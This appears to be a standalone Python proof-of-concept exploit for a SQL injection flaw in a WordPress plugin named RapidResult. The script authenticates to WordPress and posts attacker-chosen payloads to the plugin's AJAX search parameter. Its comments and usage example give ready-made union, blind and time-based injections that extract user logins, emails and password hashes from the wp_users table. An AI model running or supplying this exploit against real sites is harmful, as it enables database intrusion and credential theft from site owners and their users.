import requests
import sys
# CVE-2025-10748 PoC - WordPress RapidResult Plugin SQL Injection
# Target: WordPress site with RapidResult plugin <= 1.2
def exploit_sqli(target_url, username, password, payload):
"""
Exploit SQL injection in RapidResult plugin via 's' parameter
"""
# Step 1: Authenticate to WordPress
login_url = target_url + '/wp-login.php'
session = requests.Session()
login_data = {
'log': username,
'pwd': password,
'wp-submit': 'Log In',
'redirect_to': '/wp-admin/',
'testcookie': '1'
}
resp = session.post(login_url, data=login_data)
if 'wordpress_logged_in' not in session.cookies.get_dict():
print('[-] Authentication failed')
return None
print('[+] Authentication successful')
# Step 2: Exploit SQL Injection via 's' parameter
exploit_url = target_url + '/wp-admin/admin-ajax.php'
# SQL Injection payload - extracts user login and email
sqli_payload = {
'action': 'rapidresult_search',
's': payload # Vulnerable parameter
}
# Example payloads:
# Boolean-based blind: " OR (SELECT IF(1=1,SLEEP(5),0))-- "
# Union-based: "' UNION SELECT 1,2,3,4,user_login,user_email FROM wp_users-- "
# Time-based: "'; SELECT IF(SUBSTRING((SELECT user_pass FROM wp_users LIMIT 1),1,1)='5',SLEEP(5),0)-- "
print(f'[*] Sending malicious payload: {payload}')
resp = session.post(exploit_url, data=sqli_payload, timeout=30)
return resp.text
if __name__ == '__main__':
if len(sys.argv) < 5:
print(f'Usage: python {sys.argv[0]} <target_url> <username> <password> <payload>')
print('Example: python exploit.py http://target.com admin admin123 "\' UNION SELECT 1,2,3,4,user_login,user_email FROM wp_users-- "')
sys.exit(1)
target = sys.argv[1]
user = sys.argv[2]
pwd = sys.argv[3]
payload = sys.argv[4]
result = exploit_sqli(target, user, pwd, payload)
if result:
print('[+] Response received')
print(result[:500])